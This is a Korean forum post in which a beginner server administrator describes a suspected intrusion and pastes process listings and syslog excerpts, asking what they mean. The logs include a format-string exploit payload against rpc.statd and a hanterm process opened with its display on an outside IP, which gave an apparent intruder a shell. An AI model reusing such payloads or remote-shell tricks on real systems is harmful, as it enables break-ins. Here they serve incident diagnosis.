서버로 로긴후 버릇처럼.... 쉘상에서 w 를 눌렀습니다.
그런데...
왠 nobody... 결코 w 상에서는 모습을 드러내지 않던 놈이 2놈이 있더라구요.
한놈은 ftp ... 한놈은 -bash 상태로...
nobody   pts/1    -                 9:01pm 42:56   0.07s  0.07s  -bash
  이상하더라구요..
 그래서... 로그파일을 살폈습니다.
대충 살펴서 부분부분만 카피를 했습니다.
그런데 왠걸.... 좀 있다가 다시 확인차... 들어 갔더니...21:01시간대(이놈
이 작업을 시작한 시간으로 예상됨) 에 부분들이 없어 졌어요...
 음... 물론 아이피랑은 확보 해 놨지만...
 한번 봐주십시오...로그파일입니다.
(참고로 저는 이시간대에 한텀을 띄운적이 없습니다. 결코...낮에 잠깐 접속하
고 안 했습니다. )
  /var/log/message
 nobody   26397   759  0 21:00 ?  0:00:02 /usr/local/apache/bin/httpd
nobody   26473 26469  0 21:01 pts/1    00:00:00 -bash
   /var/log/secure
 nobody   26397   759  0 21:00 ?       0:00:02 /usr/local/apache/bin/httpd
root     26469 26177  0 21:01 ?       00:00:00 /usr/bin/X11/hanterm -ls -
display 211.198.246.237:0.0
nobody   26473 26469  0 21:01 pts/1   00:00:00 -bash
   그리고 top 명령을 때려 보니..
전혀 모습을 드러내지 않던....magicdev 란 놈이 실행중입니다.
저는 한번도 본적이 없는데...어디다가 사용되는 놈인지도 모르겠구요...
이놈은 또 뭐죠..?
  기타 등등 의심되는 로그파일입니다. (이부분은 부분부분 카피해서 시간순거
가 아닙니다.)
  Jan 26 21:25:26 www proftpd[27503]: www.도메인.com (211.198.246.237
[211.198.246.237]) - FTP session closed.
Jan 26 21:25:26 www kernel: VFS: busy inodes on changed media.
Jan 26 21:25:58 www last message repeated 16 times
Jan 26 21:26:13 www last message repeated 7 times
Jan 26 21:26:13 www named[558]: "134.116.211.in-addr.arpa IN NS" points
to a CNAME (ns.도메인.com)
Jan 26 21:26:15 www kernel: VFS: busy inodes on changed media.
Jan 26 21:26:23 www last message repeated 4 times
Jan 26 21:26:23 www inetd[544]: pid 27572: exit status 1
Jan 26 21:26:25 www kernel: VFS: busy inodes on changed media.
Jan 26 21:26:57 www last message repeated 16 times
Jan 26 21:27:17 www last message repeated 10 times
Jan 26 21:27:19 www inetd[544]: pid 27624: exit status 1
Jan 26 21:27:19 www kernel: VFS: busy inodes on changed media.
Jan 26 21:27:51 www last message repeated 16 times
  Jan 26 21:18:38 www rpc.statd[389]: gethostbyname error for ^X??X??Y??Y??
Z??Z??[??[??8x%8x%8x%8x
%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%
n~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
 Jan 25 18:08:49 www kernel: VFS: busy inodes on changed media.
Jan 25 18:09:21 www last message repeated 17 times
Jan 25 18:09:22 www inetd[544]: pid 4810: exit status 1
Jan 25 18:09:23 www kernel: VFS: busy inodes on changed media.
   마지막으로 VFS 란 놈은 또 뭐죠...
   초보 서버 운영자의 한탄스러운 고백이었습니다.
 =_-;;;;--=_-;;;;;;;;